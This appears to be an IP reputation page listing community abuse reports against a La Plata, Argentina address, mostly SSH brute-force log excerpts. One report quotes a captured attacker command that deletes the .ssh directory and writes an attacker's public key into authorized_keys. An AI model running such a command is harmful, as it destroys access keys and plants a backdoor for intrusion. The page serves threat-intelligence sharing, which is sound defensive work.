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181.23.48.55

Activity Trending Down

Abuse Confidence Score

30% Elevated

23 reports

22 reporters · latest 1 month ago

ISP: Telefonica de Argentina
Usage Type: Fixed Line ISP
ASN: AS22927
Hostname(s): 181-23-48-55.mrse.com.ar
Domain Name: telefonica.com.ar
Country: 🇦🇷 Argentina
City: La Plata, Buenos Aires

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

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Abuse Reports

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Total reports

23 from 22 distinct reporters

First reported

October 19th 2025

Most recent report

1 month ago

Last 60 days

Top reporter locations 🇩🇪 Germany 8 🇨🇦 Canada 2 🇫🇷 France 2

Most common categories SSH 19 Brute-Force 19 Port Scan 2 Web App Attack 1 Exploited Host 1

Old reports The most recent abuse report for this IP address is from 1 month ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇦 SSH-Admin	2026-09-18 19:00:15 UTC · (1 month ago)	Probing for Exploits on ns200	Exploited Host Web App Attack
🇺🇸 Kim_KA1WCC_OZ1ARQ	2026-09-18 18:00:40 UTC · (1 month ago)	Sep 18 17:58:13 stn7875 sshd[25333]: Invalid user tobias from 181.23.48.55 port 42718 Sep 18 18:00:39 stn7875 sshd[25668]: Invalid user mysql from 181.23.48.55 port 35823 ...	Brute-Force SSH
Anonymous	2026-09-18 17:57:11 UTC · (1 month ago)	2026-09-18T10:57:08.759920-07:00 mvscweb sshd[2447976]: Invalid user tobias from 181.23.48.55 port 50406 2026-09-18T10:57:08.772884-07:00 mvscweb sshd[2447976]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=1 ... show more 2026-09-18T10:57:08.759920-07:00 mvscweb sshd[2447976]: Invalid user tobias from 181.23.48.55 port 50406 2026-09-18T10:57:08.772884-07:00 mvscweb sshd[2447976]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.23.48.55 2026-09-18T10:57:11.712912-07:00 mvscweb sshd[2447976]: Failed password for invalid user tobias from 181.23.48.55 port 50406 ssh2 ... show less	Brute-Force SSH
🇩🇪 AnonDrop	2026-09-18 17:47:28 UTC · (1 month ago)	Credential/password theft attempt - Commands: cd ~; chattr -ia .ssh; lockr -ia .ssh, cd ~; chattr -ia .ssh; lockr -ia .ssh, cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73f ... show more Credential/password theft attempt - Commands: cd ~; chattr -ia .ssh; lockr -ia .ssh, cd ~; chattr -ia .ssh; lockr -ia .ssh, cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ show less	Brute-Force
🇨🇦 marcelrobitaille.me	2026-09-18 17:02:13 UTC · (1 month ago)	2026-09-18T16:57:20.533849+00:00 marcelrobitaille.me sshd-session[20047]: Invalid user test from 181.23.48.55 port 33612 2026-09-18T16:59:51.153041+00:00 marcelrobitaille.me sshd-session[20060]: Invalid user de from 181.23.48.55 port 55392 2026-09-18 ... show more 2026-09-18T16:57:20.533849+00:00 marcelrobitaille.me sshd-session[20047]: Invalid user test from 181.23.48.55 port 33612 2026-09-18T16:59:51.153041+00:00 marcelrobitaille.me sshd-session[20060]: Invalid user de from 181.23.48.55 port 55392 2026-09-18T17:02:12.566370+00:00 marcelrobitaille.me sshd-session[20096]: Invalid user admin from 181.23.48.55 port 48006 ... show less	Brute-Force SSH
🇩🇪 formality	2026-09-18 16:57:21 UTC · (1 month ago)	Invalid user test from 181.23.48.55 port 59280	Brute-Force SSH
🇮🇳 WandereR0	2026-09-18 16:55:30 UTC · (1 month ago)	Sep 18 16:55:29 ubuntu1 sshd[300346]: Invalid user test from 181.23.48.55 port 54174 ...	Brute-Force SSH
🇸🇪 ljo	2026-09-18 16:20:33 UTC · (1 month ago)	2026-09-18T18:15:44.724620+02:00 serengeti sshd-session[34279]: Failed password for root from 181.23.48.55 port 43290 ssh2 2026-09-18T18:18:10.564749+02:00 serengeti sshd-session[34517]: Invalid user knu from 181.23.48.55 port 35826 2026-09-18T18:18: ... show more 2026-09-18T18:15:44.724620+02:00 serengeti sshd-session[34279]: Failed password for root from 181.23.48.55 port 43290 ssh2 2026-09-18T18:18:10.564749+02:00 serengeti sshd-session[34517]: Invalid user knu from 181.23.48.55 port 35826 2026-09-18T18:18:10.566445+02:00 serengeti sshd-session[34517]: Failed password for invalid user knu from 181.23.48.55 port 35826 ssh2 2026-09-18T18:20:32.296575+02:00 serengeti sshd-session[34960]: Invalid user didi from 181.23.48.55 port 56488 2026-09-18T18:20:32.298296+02:00 serengeti sshd-session[34960]: Failed password for invalid user didi from 181.23.48.55 port 56488 ssh2 ... show less	Brute-Force SSH
🇩🇪 ghostwarriors	2026-09-18 16:20:26 UTC · (1 month ago)	Unauthorized connection attempt detected, SSH Brute-Force	Brute-Force Port Scan SSH
🇸🇪 ljo	2026-09-18 16:03:58 UTC · (1 month ago)	2026-09-18T17:54:12.082606+02:00 serengeti sshd-session[30777]: Invalid user zhenshan from 181.23.48.55 port 52623 2026-09-18T17:54:12.084303+02:00 serengeti sshd-session[30777]: Failed password for invalid user zhenshan from 181.23.48.55 port 52623 ... show more 2026-09-18T17:54:12.082606+02:00 serengeti sshd-session[30777]: Invalid user zhenshan from 181.23.48.55 port 52623 2026-09-18T17:54:12.084303+02:00 serengeti sshd-session[30777]: Failed password for invalid user zhenshan from 181.23.48.55 port 52623 ssh2 2026-09-18T17:56:48.489488+02:00 serengeti sshd-session[31372]: Failed password for root from 181.23.48.55 port 46756 ssh2 2026-09-18T18:01:38.040123+02:00 serengeti sshd-session[32102]: Failed password for root from 181.23.48.55 port 60241 ssh2 2026-09-18T18:03:57.974674+02:00 serengeti sshd-session[32258]: Failed password for root from 181.23.48.55 port 52811 ssh2 ... show less	Brute-Force SSH
🇩🇪 Nerdscave Hosting	2026-09-18 16:00:05 UTC · (1 month ago)	SSH abuse or brute-force attack detected by Fail2Ban in ssh jail	Brute-Force SSH
🇫🇷 adlp.org	2026-09-18 15:59:58 UTC · (1 month ago)	Sep 18 17:46:03 ouranos sshd[890170]: Invalid user betty from 181.23.48.55 port 53352 Sep 18 17:54:57 ouranos sshd[891810]: Invalid user zhenshan from 181.23.48.55 port 58481 Sep 18 17:59:58 ouranos sshd[892755]: Invalid user dm from 181.23.48.55 por ... show more Sep 18 17:46:03 ouranos sshd[890170]: Invalid user betty from 181.23.48.55 port 53352 Sep 18 17:54:57 ouranos sshd[891810]: Invalid user zhenshan from 181.23.48.55 port 58481 Sep 18 17:59:58 ouranos sshd[892755]: Invalid user dm from 181.23.48.55 port 44870 ... show less	Brute-Force SSH
🇩🇪 venko	2026-09-18 15:57:53 UTC · (1 month ago)	F2B/SSH	Brute-Force SSH
🇪🇸 Francisco Vallejo	2026-09-18 15:55:01 UTC · (1 month ago)	2026-09-18T17:46:15.897680+02:00 localhost sshd[2909418]: Failed password for invalid user betty from 181.23.48.55 port 47533 ssh2 2026-09-18T17:46:16.842309+02:00 localhost sshd[2909418]: Disconnected from invalid user betty 181.23.48.55 port 47533 ... show more 2026-09-18T17:46:15.897680+02:00 localhost sshd[2909418]: Failed password for invalid user betty from 181.23.48.55 port 47533 ssh2 2026-09-18T17:46:16.842309+02:00 localhost sshd[2909418]: Disconnected from invalid user betty 181.23.48.55 port 47533 [preauth] 2026-09-18T17:54:59.343417+02:00 localhost sshd[2909894]: Invalid user zhenshan from 181.23.48.55 port 51806 2026-09-18T17:54:59.355571+02:00 localhost sshd[2909894]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.23.48.55 2026-09-18T17:55:01.147532+02:00 localhost sshd[2909894]: Failed password for invalid user zhenshan from 181.23.48.55 port 51806 ssh2 ... show less	Brute-Force SSH
🇳🇱 Alt255	2026-09-18 13:55:19 UTC · (1 month ago)	[ti-02-tinov] SSH brute-force: 5 failed attempts detected by fail2ban jail sshd.	Brute-Force SSH

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